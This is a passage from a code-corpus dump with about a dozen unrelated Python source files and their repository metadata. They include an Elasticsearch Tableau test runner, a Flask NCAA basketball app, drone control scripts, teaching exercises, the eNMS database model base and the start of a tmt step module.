es_url.auth:\n (es_user, es_pass) = es_url.auth.split(':')\n else:\n (es_user, es_pass) = es_url.auth, \"\"\n\n for (dirpath, dirnames, filenames) in os.walk(tds_src_dir, topdown=True, followlinks=False):\n if dirpath != tds_src_dir:\n break\n for filename in filenames:\n if not (filename.endswith(\".tds\") or filename.endswith(\".password\")):\n continue\n with open(os.path.join(tds_src_dir, filename)) as src:\n content = src.read()\n if filename.endswith(\".tds\"):\n content = content.replace(\"caption='127.0.0.1'\", \"caption='\" + es_url.host + \"'\")\n content = content.replace(\"dbname='elasticsearch'\", \"dbname='\" + dbname(es_url.host) + \"'\")\n content = content.replace(\"server='127.0.0.1'\", \"server='\" + es_url.host + \"'\")\n content = content.replace(\"port='9200'\", \"port='\" + str(es_url.port) + \"'\")\n if es_user != \"elastic\":\n content = content.replace(\"username='elastic'\", \"username='\" + es_user + \"'\")\n if es_url.scheme.lower() == \"https\":\n content = content.replace(\"sslmode=''\", \"sslmode='require'\")\n elif filename.endswith(\".password\"):\n content = content.replace(\"<REDACTED>\", es_pass)\n else:\n continue # shouldn't happen\n\n with open(os.path.join(TDVT_TDS_DIR, filename), \"w\") as dest:\n dest.write(content)\n\ndef latest_tabquery():\n TABLEAU_INSTALL_FOLDER = os.path.join(\"C:\\\\\", \"Program Files\", \"Tableau\")\n TABQUERY_UNDERPATH = os.path.join(\"bin\", \"tabquerytool.exe\")\n\n latest = \"\"\n for (dirpath, dirnames, filenames) in os.walk(TABLEAU_INSTALL_FOLDER, topdown=True):\n if dirpath != TABLEAU_INSTALL_FOLDER:\n pass #break\n for dirname in dirnames:\n if re.match(\"^Tableau 202[0-9]\\.[0-9]$\", dirname):\n if dirname > latest:\n latest = dirname\n tabquery_path = os.path.join(TABLEAU_INSTALL_FOLDER, latest, TABQUERY_UNDERPATH)\n os.stat(tabquery_path) # check if the executable's there\n return tabquery_path\n\ndef config_tdvt_override_ini():\n TDVT_INI_PATH = os.path.join(\"config\", \"tdvt\", \"tdvt_override.ini\")\n\n tabquery_path = latest_tabquery()\n tabquery_path_line = \"TAB_CLI_EXE_X64 = \" + tabquery_path\n\n updated_lines = []\n with open(TDVT_INI_PATH) as ini:\n for line in ini.readlines():\n l = line if not line.startswith(\"TAB_CLI_EXE_X64\") else tabquery_path_line\n l += '\\n'\n updated_lines.append(l)\n if len(updated_lines) <= 0:\n print(\"WARNING: empty ini file under: \" + TDVT_INI_PATH)\n updated_lines.append(\"[DEFAULT]\\n\")\n updated_lines.append(tabquery_path_line + '\\n')\n with open(TDVT_INI_PATH, \"w\") as ini:\n ini.writelines(updated_lines)\n\ndef add_data_source():\n tdvt_args = [\"py\", \"-3\", TDVT_LAUNCHER, \"action\", \"--add_ds\", \"elastic\"]\n interactive = [(\"connection per tds (standard).\", \"n\"), (\"to skip selecting one now:\", TDVT_ES_SCHEME),\n (\"Overwrite existing ini file?(y/n)\", \"y\")]\n\n exe(tdvt_args, interactive)\n\ndef config_elastic_ini():\n ELASTIC_INI = os.path.join(\"config\", \"elastic.ini\")\n\n cmdline_override = \"CommandLineOverride = -DConnectPluginsPath=%s -DDisableVerifyConnectorPluginSignature=%s\" % \\\n (TACO_SRC_DIR, TACO_SIGNED)\n\n updated_lines = []\n with open(ELASTIC_INI) as ini:\n for line in ini.readlines():\n updated_lines.append(line)\n if line.startswith(\"LogicalQueryFormat\"):\n updated_lines.append(cmdline_override)\n with open(ELASTIC_INI, \"w\") as ini:\n ini.writelines(updated_lines)\n\ndef run_tdvt():\n tdvt_args = [\"py\", \"-3\", TDVT_LAUNCHER, \"run\", \"elastic\"]\n\n _, stdout, __ = exe(tdvt_args, raise_on_retcode = False)\n print(stdout)\n\ndef parse_args():\n parser = argparse.ArgumentParser(description=\"TDVT runner of the Tableau connector for Elasticsearch.\",\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n\n parser.add_argument(\"-t\", \"--taco-dir\", help=\"Directory containing the connector file.\",\n default=TACO_SRC_DIR)\n parser.add_argument(\"-s\", \"--signed\", help=\"Is the .taco signed?\", action=\"store_true\", default=TACO_SIGNED)\n parser.add_argument(\"-r\", \"--run-dir\", help=\"Directory to run the testing under.\",\n default=TDVT_RUN_DIR)\n parser.add_argument(\"-u\", \"--url\", help=\"Elasticsearch URL.\", type=str, default=ES_URL)\n parser.add_argument(\"-c\", \"--clean\", help=\"Clean-up run directory\", action=\"store_true\", default=False)\n\n return parser.parse_args()\n\ndef main():\n started_at = time.time()\n\n args = parse_args()\n\n cwd = os.getcwd()\n if args.clean:\n import shutil # dependency!\n shutil.rmtree(args.run_dir)\n if not os.path.isdir(args.run_dir):\n os.makedirs(args.run_dir)\n os.chdir(args.run_dir)\n\n if not os.path.isdir(TDVT_SDK_REPO):\n checkout_tdvt_sdk()\n setup_workspace()\n\n tds_src = TDS_SRC_DIR if os.path.isabs(TDS_SRC_DIR) else os.path.join(cwd, TDS_SRC_DIR)\n install_tds_files(tds_src, args.url)\n\n config_tdvt_override_ini()\n add_data_source()\n if args.taco_dir != TACO_SRC_DIR and args.signed != TACO_SIGNED:\n config_elastic_ini()\n\n run_tdvt()\n\n print(\"Test run took %.2f seconds.\" % (time.time() - started_at))\n\nif __name__ == \"__main__\":\n main()\n\n# vim: set noet fenc=utf-8 ff=dos sts=0 sw=4 ts=4 tw=118 expandtab :\n","repo_name":"elastic/elasticsearch","sub_path":"x-pack/plugin/sql/connectors/tableau/tdvt/tdvt_run.py","file_name":"tdvt_run.py","file_ext":"py","file_size_in_byte":8841,"program_lang":"python","lang":"en","doc_type":"code","stars":65848,"dataset":"github-code","pt":"21"} +{"seq_id":"4498239916","text":"from concurrent.futures import ThreadPoolExecutor, as_completed, wait\n \n\nclass Concurrent(object):\n \"\"\"Simple concurrent task helper.\n \"\"\"\n\n def __init__(self):\n self.tasks = []\n\n def add(self, task, *args, **kwargs):\n \"\"\"Add a new task.\n\n Args:\n task (fn): function ref\n args (args): funtion params\n kwargs (kwargs): funtion keyword params\n \"\"\"\n self.tasks.append((task, args, kwargs))\n return self\n\n def run(self, threads=None):\n \"\"\"Run all registered tasks concurrently.\n\n Args:\n threads (int)\n \"\"\"\n if len(self.tasks) == 0:\n return\n\n thread_count = threads if threads is not None else len(self.tasks)\n pool = ThreadPoolExecutor(thread_count)\n futures = []\n for task, args, kwargs in self.tasks:\n futures.append(pool.submit(task, *args, **kwargs))\n\n wait(futures)\n\n for future in futures:\n future.result()\n\n # a task set should only run once\n self.tasks = []\n","repo_name":"latasuresh/test2020","sub_path":"automations/utils/parallel.py","file_name":"parallel.py","file_ext":"py","file_size_in_byte":1329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23030863197","text":"from keras_preprocessing import image\nimport tensorflow as tf\nfrom tensorflow import keras\nfrom tensorflow.python.keras.backend import set_session\nimport numpy as np\n\n\nconfig = tf.compat.v1.ConfigProto()\nfirst_graph = tf.Graph()\n# first_session = tf.compat.v1.Session(config=config)\n\n# tf_config = some_custom_config\n# sess = tf.Session(config=tf_config)\nfruitsAndVegitalbes = ['Apple', 'Banana','Kiwi', 'Lemon', 'Mango', 'Onion', 'Pepper Green', 'Tomato', 'Watermelon']\n\n\n\ndef predictfruit(path, model):\n img = image.load_img(path, target_size = (25, 25))\n array = image.img_to_array(img)\n x = np.expand_dims(array, axis=0)\n vimage = np.vstack([x])\n with first_graph.as_default():\n if model is None:\n model = tf.keras.models.load_model(\"saved_model/fruit_classifier\")\n predictions = model.predict(vimage)\n return (fruitsAndVegitalbes[np.argmax(predictions)], model)\n","repo_name":"seetu1993/SmartCart","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"42987545391","text":"import turtle\n\n\ndrone = turtle.Turtle()\ndrone.shape(\"triangle\")\ndrone.color(\"blue\")\n# drone.penup() # comment it out to get path followed by drone\n\nscreen = turtle.Screen()\nscreen.title(\"Drone Movement Simulation\")\nscreen.bgcolor(\"lightgray\")\nscreen.setup(width=800, height=800) \nscreen.tracer(0)\n\n\ndef move_forward():\n drone.setheading(90) \n if drone.ycor() < (screen.window_height() / 2) - 20:\n drone.forward(20) \n screen.update()\n\ndef move_backward():\n drone.setheading(270) \n if drone.ycor() > -(screen.window_height() / 2) + 20:\n drone.forward(20) \n screen.update()\n\ndef move_left():\n drone.setheading(180) \n if drone.xcor() > -(screen.window_width() / 2) + 20:\n drone.forward(20) \n screen.update()\n\ndef move_right():\n drone.setheading(0) \n if drone.xcor() < (screen.window_width() / 2) - 20:\n drone.forward(20) \n screen.update()\n\n\nscreen.onkeypress(move_forward, \"Up\")\nscreen.onkeypress(move_backward, \"Down\")\nscreen.onkeypress(move_left, \"Left\")\nscreen.onkeypress(move_right, \"Right\")\n\nscreen.listen()\n\nturtle.exitonclick()\n","repo_name":"DraKen0009/Drona-Python-Assignment","sub_path":"Q1/Q1.py","file_name":"Q1.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34582594582","text":"# -*- coding: utf-8 -*-\nimport Adafruit_DHT\n\n# Sensori on mallia DHT11\nsensori = Adafruit_DHT.DHT11\n\npin = 23\t# Sääanturin datan sisääntulo\n\n# Sensori yrittää lukea dataa 15 kertaa kahden sekunnin välein\nkosteus, temp = Adafruit_DHT.read_retry(sensori, pin)\n\nif kosteus is not None and temp is not None:\n print('Lämpötila {0:0.1f} C Kosteus {1:0.1f}%'.format(temp, kosteus))\nelse:\n print('Sensorin lukeminen ei onnistunut!')","repo_name":"anttiheimonen/tiea345","sub_path":"Demo3/d3t1.py","file_name":"d3t1.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"fi","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73568948211","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jan 16 10:03:29 2016\n\n@author: edouard.duchesnay@gmail.com\n\"\"\"\n\n'''\n## Exercise 1: functions\n\ndefine a function with two 'positional arguments' (no default values) and\none 'keyword argument' (has a default value)\n'''\ndef calc(a, b, op='add'):\n if op == 'add':\n return a + b\n elif op == 'sub':\n return a - b\n else:\n print('valid operations are add and sub')\n\n# call the function\ncalc(10, 4, op='add') # returns 14\ncalc(10, 4, 'add') # also returns 14: unnamed arguments are inferred by position\ncalc(10, 4) # also returns 14: default for 'op' is 'add'\ncalc(10, 4, 'sub') # returns 6\ncalc(10, 4, 'div') # prints 'valid operations are add and sub'\n\n\n'''\nExercise 2: functions + list + loop\n\nGiven a list of numbers, return a list where\nall adjacent duplicate elements have been reduced to a single element.\nEx: `[1, 2, 2, 3, 2]` returns `[1, 2, 3, 2]`. \nYou may create a new list or modify the passed in list.\n\nRemove all duplicate values (adjacent or not)\nEx: `[1, 2, 2, 3, 2]` returns `[1, 2, 3]`\n'''\n\ndef remove_adjacent_duplicates(original_list):\n new_list = []\n new_list.append(original_list[0])\n for num in original_list[1:]:\n if num != new_list[-1]:\n new_list.append(num)\n return new_list\n\nremove_adjacent_duplicates([1, 2, 2, 3, 2])\n\ndef remove_duplicates(original_list):\n new_list = []\n for num in original_list:\n if num not in new_list:\n new_list.append(num)\n return new_list\n\nremove_duplicates([3, 2, 2, 1, 2])\n\n# or this solution mights modify the order\n\ndef remove_duplicates(original_list):\n return(list(set(original_list)))\n \nremove_duplicates([3, 2, 2, 1, 2])\n\n'''\nExercise 4: OOP\n\n Create a class Employee with 2 attributes provided in the constructor: name, years_of_service. With one method salary with is obtained by 1500 + 100 * years_of_service.\n\n Create a subclass Manager which redefine salary method 2500 + 120 * years_of_service.\n\n Create a small dictionnary-nased database where the key is the employee's name. Populate the database with: Employee(\"lucy\", 3), Employee(\"john\", 1), Manager('julie', 10), Manager('paul', 3)\n\n Return a table of made name, salary rows, ie. a list of list [[name, salary]]\n\n Compute the average salary\n'''\n\nclass Employee:\n def __init__(self, name, years_of_service):\n self.name = name\n self.years_of_service = years_of_service\n\n def salary(self):\n return 1500 + 100 * self.years_of_service\n\nclass Manager(Employee):\n def salary(self):\n return 2500 + 120 * self.years_of_service\n\nemployees = dict()\nsamples = Employee(\"lucy\", 3), Employee(\"john\", 1), Manager('julie', 3), Manager('paul', 1)\n\nfor e in samples:\n employees[e.name] = e\n\n[[name, employees[name].salary()] for name in employees]\n\nsum([e.salary() for e in employees.values()]) / len(employees)\n\n\n'''\nExercie 3: File I/O\n\nCopy/past the bsd 4 clause license into a text file. Read, the file \n(assuming this file could be huge) and cound the occurences of each word\nwithin the file. Words are separated by whitespace or new line characters.\n'''\n\nbsd_4clause = \"\"\"\nCopyright (c) <year>, <copyright holder>\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n1. Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n2. Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in the\n documentation and/or other materials provided with the distribution.\n3. All advertising materials mentioning features or use of this software\n must display the following acknowledgement:\n This product includes software developed by the <organization>.\n4. Neither the name of the <organization> nor the\n names of its contributors may be used to endorse or promote products\n derived from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY <COPYRIGHT HOLDER> ''AS IS'' AND ANY\nEXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL <COPYRIGHT HOLDER> BE LIABLE FOR ANY\nDIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\nLOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\nON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\"\"\"\n\nimport os\nimport tempfile\n\ntmpfile = os.path.join(tempfile.gettempdir(), \"bsd.txt\")\n\nfd = open(tmpfile, \"w\")\nfd.write(bsd_4clause)\nfd.close()\n\nfd = open(tmpfile, \"r\")\n\ncount = dict()\nfor line in fd:\n for word in line.split():\n if not word in count:\n count[word] = 1\n else:\n count[word] += 1\n\nprint(count)\n","repo_name":"duchesnay/pylearn-doc","sub_path":"python/exercises/tools_python.py","file_name":"tools_python.py","file_ext":"py","file_size_in_byte":5198,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6198158","text":"#!/usr/bin/env python3\n\nfrom __future__ import print_function\n\nimport math\nimport time\nimport sys\nfrom dronekit import connect, VehicleMode, LocationGlobalRelative\nfrom pymavlink import mavutil\n\n\n\n\n# The code to get the drone connected\n\n# Desired altitude (in meters) to takeoff to\nTARGET_ALTITUDE = 3\n# Portion of TARGET_ALTITUDE at which we will break from takeoff loop\nALTITUDE_REACH_THRESHOLD = 0.95\n\n# Launch\n# Set up option parsing to get connection string and mission plan file\nimport argparse\nparser = argparse.ArgumentParser(description='Commands vehicle using vehicle.simple_goto.')\nparser.add_argument('--connect', help=\"Vehicle connection target string.\")\nargs = parser.parse_args()\n\n# aquire connection_string\nconnection_string = args.connect\n\n# Exit if no connection string specified\nif not connection_string:\n sys.exit('Please specify connection string')\n\n# Connect to the Vehicle\nprint('Connecting to vehicle on: %s' % connection_string)\nvehicle = connect(connection_string, wait_ready=False)\n\nprint('Succesfully connected to vehicle')\n\n\"\"\"\nListens for RC_CHANNELS mavlink messages with the goal of determining when the RCIN_4 joystick\nhas returned to center for two consecutive seconds.\n\"\"\"\n@vehicle.on_message('RC_CHANNELS')\ndef rc_listener(self, name, message):\n global rcin_4_center\n rcin_4_center = (message.chan4_raw < 1550 and message.chan4_raw > 1450)\n\n\nif vehicle.version.vehicle_type == mavutil.mavlink.MAV_TYPE_HEXAROTOR:\n vehicle.mode = VehicleMode(\"ALT_HOLD\")\n\n# Wait for pilot before proceeding\nprint('Waiting for safety pilot to arm...')\n\n# Wait until safety pilot arms drone\nwhile not vehicle.armed:\n time.sleep(1)\n\nprint('Armed...')\nvehicle.mode = VehicleMode(\"GUIDED\")\n\nif vehicle.version.vehicle_type == mavutil.mavlink.MAV_TYPE_QUADROTOR:\n\n rcin_4_center_once = False\n rcin_4_center_twice = False\n while not rcin_4_center_twice:\n if rcin_4_center:\n if rcin_4_center_once:\n rcin_4_center_twice = True\n else:\n rcin_4_center_once = True\n else:\n rcin_4_center_once = False\n time.sleep(1)\n \n # Takeoff to short altitude\n print(\"Taking off!\")\n vehicle.simple_takeoff(TARGET_ALTITUDE) # Take off to target altitude\n\n while True:\n # Break just below target altitude.\n if vehicle.location.global_relative_frame.alt >= TARGET_ALTITUDE * ALTITUDE_REACH_THRESHOLD:\n break\n time.sleep(0.5)\n\n\n\n\n\n# The Actual Code\n\nrun = 1\n# thrust (0-1 where 0.5 is no vertical velocity)\nhover_thrust = 0.6 \n# save initial yaw to use as target\ntarget_yaw = math.degrees(vehicle.attitude.yaw)\n# Set the period of the loop in seconds\niteration_time = .1\n\n# convert euler angles to quaternion to send over mavlink\n# credit dronekit example: https://github.com/dronekit/dronekit-python/blob/master/examples/set_attitude_target/set_attitude_target.py\ndef to_quaternion(roll = 0.0, pitch = 0.0, yaw = 0.0):\n\tt0 = math.cos(math.radians(yaw * 0.5))\n\tt1 = math.sin(math.radians(yaw * 0.5))\n\tt2 = math.cos(math.radians(roll * 0.5))\n\tt3 = math.sin(math.radians(roll * 0.5))\n\tt4 = math.cos(math.radians(pitch * 0.5))\n\tt5 = math.sin(math.radians(pitch * 0.5))\n\n\tw = t0 * t2 * t4 + t1 * t3 * t5\n\tx = t0 * t3 * t4 - t1 * t2 * t5\n\ty = t0 * t2 * t5 + t1 * t3 * t4\n\tz = t1 * t2 * t4 - t0 * t3 * t5\n\treturn [w, x, y, z]\n\ntry:\n\twhile run:\n\t\toutput = [1, 1]\n\t\t\n\t\t# generate mavlink message to send attitude setpoint\n\t\tnew_quat = to_quaternion(output[0], output[1], target_yaw)\n\t\t# http://ardupilot.org/dev/docs/copter-commands-in-guided-mode.html#copter-commands-in-guided-mode-set-attitude-target\n\t\tmsg = vehicle.message_factory.set_attitude_target_encode(\n\t\t\t0, # time_boot_ms\n\t\t\t1, # target system\n\t\t\t1, # target component\n\t\t\t0b00000100,\n\t\t\tnew_quat, # attitude (quaternion)\n\t\t\t0, # roll rate\n\t\t\t0, # pitch rate\n\t\t\t0, # yaw rate\n\t\t\thover_thrust # thrust (0-1 where 0.5 is no vertical velocity)\n\t\t)\n\t\tvehicle.send_mavlink(msg)\n\n\t\ttime.sleep(iteration_time)\nexcept KeyboardInterrupt:\n\tprint('exiting')\n\tpass\n\nvehicle.close()","repo_name":"ScottyB55/StackInspectors","sub_path":"src/Reference_Files/drone_on_leash.py","file_name":"drone_on_leash.py","file_ext":"py","file_size_in_byte":4068,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"71372311413","text":"from time import time\nfrom os.path import join, dirname\nfrom torch.utils.tensorboard import SummaryWriter\nimport yaml\n_log_path = join(dirname(__file__), '../logs')\n\n\n# high level wrapper for tf_logger.TFLogger\nclass Logger():\n def __init__(self, args, update_frequency=10):\n folder, logname = self.get_name_from_args(args)\n\n log_path = join(_log_path, folder, logname)\n self.writer = SummaryWriter(log_path)\n print(\"Saving to %s\" % log_path)\n\n with open(join(log_path, 'config.yaml'), 'w') as f:\n yaml.safe_dump(args.__dict__, f, default_flow_style=False)\n\n \n @staticmethod\n def get_name_from_args(args):\n folder_name = \"%s_to_%s\" % (\"-\".join(sorted(args.source)), args.target)\n name = \"\"\n if args.moco:\n name += \"moco%f_\" % args.alpha\n\n if args.folder_name:\n folder_name = join(args.folder_name, folder_name)\n name += \"eps%d_bs%d_lr%g_jigw%g_Mocow%g_ncek%g_margin%g_tripletk%g\" % (args.epochs, args.batch_size,\n args.learning_rate,\n args.jig_weight, args.moco_weight, args.nce_k, args.margin, args.k_triplet)\n\n\n name += \"_%d\" % int(time() % 1000)\n return folder_name, name\n\n","repo_name":"emma-sjwang/EISNet","sub_path":"code/utils/Logger.py","file_name":"Logger.py","file_ext":"py","file_size_in_byte":1322,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"21"} +{"seq_id":"18346795695","text":"\"\"\" Import.io NCAABB Flask Application \"\"\"\nimport os\nfrom flask import Flask\nfrom flask import render_template\nfrom yaml import load\nfrom apscheduler.schedulers.background import BackgroundScheduler\nfrom fetch_data import *\nfrom database import *\n\nwith open('config.yaml', 'r') as config_file:\n cfg = load(config_file)\n\n\ndef env_check():\n \"\"\" Function to check for and prompt input for missing environment variables \"\"\"\n if not 'IMPORT_IO_API_KEY' in os.environ:\n os.environ['IMPORT_IO_API_KEY'] = \\\n input('Please enter in your Import.io API Key: ')\n if not 'DATABASE_URL' in os.environ:\n os.environ['DATABASE_URL'] = \\\n input('Please enter in your Database URL: ')\n\nenv_check()\n\n\ndef create_app():\n flask_app = Flask(__name__)\n flask_app.config['SQLALCHEMY_DATABASE_URI'] = os.environ['DATABASE_URL']\n flask_app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = cfg['SQLALCHEMY_TRACK_MODIFICATIONS']\n flask_app.config['RANKINGS_PER_PAGE'] = cfg['RANKINGS_PER_PAGE']\n db.init_app(flask_app)\n scheduler = BackgroundScheduler()\n scheduler.add_job(update_data, 'cron', hour=cfg['Job']['Hour'], minute=cfg['Job']['Minute'], args=[flask_app])\n scheduler.start()\n return flask_app\n\napp = create_app()\n\n\n\n@app.route('/')\ndef index():\n latest_date = SchoolSnapshot.query.order_by(SchoolSnapshot.date).first()\n top_ten_data = SchoolSnapshot.query.filter_by(date=latest_date.date).order_by(SchoolSnapshot.rank.asc()).join(\n School).limit(10)\n return render_template('index.html', schools=top_ten_data)\n\n\n@app.route('/rankings/', defaults={'page': 1})\n@app.route('/rankings/<int:page>')\ndef rankings(page):\n latest_date = SchoolSnapshot.query.order_by(SchoolSnapshot.date.desc()).first()\n rankings_data = SchoolSnapshot.query.filter_by(date=latest_date.date).order_by(SchoolSnapshot.rank.asc()).join(\n School).paginate(page, app.config['RANKINGS_PER_PAGE'])\n return render_template('rankings.html', schools=rankings_data)\n\n\n@app.route('/school/<school_name>')\ndef school(school_name):\n view_school = School.query.filter_by(name=school_name).first()\n school_data = SchoolSnapshot.query.filter_by(school=view_school).all()\n team_data = Team.query.filter_by(school=view_school).join(TeamSnapshot).all()\n return render_template('school.html', school=school_data, teams=team_data)\n\n\n@app.before_first_request\ndef init_db():\n db.create_all()\n if db.session.query(School).count() == 0:\n load_schools()\n if db.session.query(TeamSnapshot).count() == 0:\n get_snapshots()\n\n\nif __name__ == '__main__':\n port = int(os.environ.get('PORT', 5000))\n app.run(host='0.0.0.0', port=port)\n","repo_name":"enterstudio/ncaabb","sub_path":"importio-ncaabb/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17329061185","text":"from typing import Any, Dict, Union\n\nfrom district42 import optional\nfrom district42.utils import is_ellipsis\n\n__all__ = (\"rollout\",)\n\n\nKeysType = Dict[Union[str, optional], Any]\n\n\ndef rollout(keys: KeysType, separator: str = \".\") -> KeysType:\n updated: KeysType = {}\n\n for comp_key, val in keys.items():\n if is_ellipsis(comp_key):\n assert is_ellipsis(val)\n updated[comp_key] = val\n continue\n\n is_optional = False\n if isinstance(comp_key, optional):\n assert isinstance(comp_key.key, str)\n comp_key = comp_key.key\n is_optional = True\n assert isinstance(comp_key, str)\n\n parts = comp_key.split(separator)\n key = parts[0]\n if len(parts) == 1:\n updated[optional(key) if is_optional else key] = val\n else:\n if key not in updated:\n updated[key] = {}\n tail = separator.join(parts[1:])\n updated[key][optional(tail) if is_optional else tail] = val\n\n for k, v in updated.items():\n updated[k] = rollout(v) if isinstance(v, dict) else v\n\n return updated\n","repo_name":"tsv1/district42-exp-types","sub_path":"district42_exp_types/sdict/_rollout.py","file_name":"_rollout.py","file_ext":"py","file_size_in_byte":1142,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23339169383","text":"import os,pyglet\n\nCURRENT_PATH = os.path.dirname(os.path.abspath(__file__))+'\\\\' # fopatouché\n\ndef couper(nom,size=(32,32)):\n\n\n img = pyglet.image.load(CURRENT_PATH+nom)\n size = img.height//size[1], img.width//size[0]\n textures = pyglet.image.ImageGrid(img, *size)\n\n i=0\n for txt in textures:\n txt.save(CURRENT_PATH+nom.split('.')[0]+'_'+str(i)+'.'+nom.split('.')[1])\n i+=1\n","repo_name":"louisaiva/delta2d","sub_path":"item/temp/decoup.py","file_name":"decoup.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"13206399460","text":"from sqlalchemy.ext.mutable import MutableDict, MutableList\n\nfrom eNMS import app\nfrom eNMS.database import Base\nfrom eNMS.database.functions import factory, fetch, objectify\nfrom eNMS.models import model_properties, property_types, relationships\nfrom eNMS.properties import dont_serialize, private_properties\nfrom eNMS.properties.database import dont_migrate\n\n\nclass AbstractBase(Base):\n\n __abstract__ = True\n\n def __init__(self, **kwargs):\n self.update(**kwargs)\n\n def __lt__(self, other):\n return True\n\n def __repr__(self):\n return self.name\n\n def __getattribute__(self, property):\n if property in private_properties and app.config[\"vault\"][\"active\"]:\n path = f\"secret/data/{self.__tablename__}/{self.name}/{property}\"\n data = app.vault_client.read(path)\n return data[\"data\"][\"data\"][property] if data else \"\"\n else:\n return super().__getattribute__(property)\n\n def __setattr__(self, property, value):\n if property in private_properties:\n if not value:\n return\n if app.config[\"vault\"][\"active\"]:\n app.vault_client.write(\n f\"secret/data/{self.__tablename__}/{self.name}/{property}\",\n data={property: value},\n )\n else:\n super().__setattr__(property, value)\n else:\n super().__setattr__(property, value)\n\n @property\n def row_properties(self):\n return {p: getattr(self, p) for p in (\"id\", \"name\", \"type\")}\n\n @property\n def ui_name(self):\n return self.name\n\n def update(self, **kwargs):\n relation = relationships[self.__tablename__]\n for property, value in kwargs.items():\n if not hasattr(self, property):\n continue\n property_type = property_types.get(property, None)\n if property in relation:\n if relation[property][\"list\"]:\n value = objectify(relation[property][\"model\"], value)\n else:\n value = fetch(relation[property][\"model\"], id=value)\n if property_type == \"bool\":\n value = value not in (False, \"false\")\n setattr(self, property, value)\n\n def get_properties(self, export=False, exclude=None, include=None):\n result = {}\n no_migrate = dont_migrate.get(self.type, dont_migrate[\"service\"])\n for property in model_properties[self.type]:\n if property in dont_serialize.get(self.type, []):\n continue\n if property in private_properties:\n continue\n if include and property not in include or exclude and property in exclude:\n continue\n if export and property in no_migrate:\n continue\n value = getattr(self, property)\n if export:\n if isinstance(value, MutableList):\n value = list(value)\n if isinstance(value, MutableDict):\n value = dict(value)\n if value is None:\n continue\n result[property] = value\n return result\n\n def duplicate(self, **kwargs):\n properties = {\n k: v for (k, v) in self.get_properties().items() if k not in (\"id\", \"name\")\n }\n instance = factory(self.type, **{**properties, **kwargs})\n return instance\n\n def to_dict(\n self, export=False, relation_names_only=False, exclude=None, include=None\n ):\n properties = self.get_properties(export, exclude=exclude)\n no_migrate = dont_migrate.get(self.type, dont_migrate[\"service\"])\n for property, relation in relationships[self.type].items():\n if include and property not in include or exclude and property in exclude:\n continue\n if export and property in no_migrate:\n continue\n value = getattr(self, property)\n if relation[\"list\"]:\n properties[property] = [\n obj.name\n if export or relation_names_only\n else obj.get_properties(exclude=exclude)\n for obj in value\n ]\n else:\n if not value:\n continue\n properties[property] = (\n value.name\n if export or relation_names_only\n else value.get_properties(exclude=exclude)\n )\n return properties\n\n @property\n def serialized(self):\n return self.to_dict()\n","repo_name":"arifh19/eNMS","sub_path":"eNMS/database/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":4670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"} +{"seq_id":"16715396779","text":"\n\"\"\" Step Classes \"\"\"\n\nimport dataclasses\nimport os\nimport re\nimport shutil\nimport sys\nimport textwrap\nfrom typing import (TYPE_CHECKING, Any, Callable, Dict, List, Optional, Tuple,\n Type, TypeVar, Union, cast, overload)\n\nif sys.version_info >= (3, 8):\n from typing import TypedDict\nelse:\n from typing_extensions import TypedDict\n\nimport click\nfrom click import echo\n\nimport tmt.log\nimport tmt.options\nimport tmt.utils\nfrom tmt.options import show_step_method_hints\nfrom tmt.utils import Path\n\nif TYPE_CHECKING:\n import tmt.base\n import tmt.cli\n from tmt.base import Plan\n from tmt.steps.provision import Guest\n\n\nDEFAULT_PLUGIN_METHOD_ORDER: int = 50\n\n\n# Supported steps and actions\nSTEPS = ['discover', 'provision', 'prepare', 'execute', 'report', 'finish']\nACTIONS = ['login', 'reboot']\n\n# Step phase order\nPHASE_START = 10\nPHASE_BASE = 50\nPHASE_END = 90\n\n\nclass Phase(tmt.utils.Common):\n \"\"\" A phase of a step \"\"\"\n\n def __init__(\n self,\n *,\n order: int = tmt.utils.DEFAULT_PLUGIN_ORDER,\n **kwargs: Any):\n super().__init__(**kwargs)\n self.order: int = 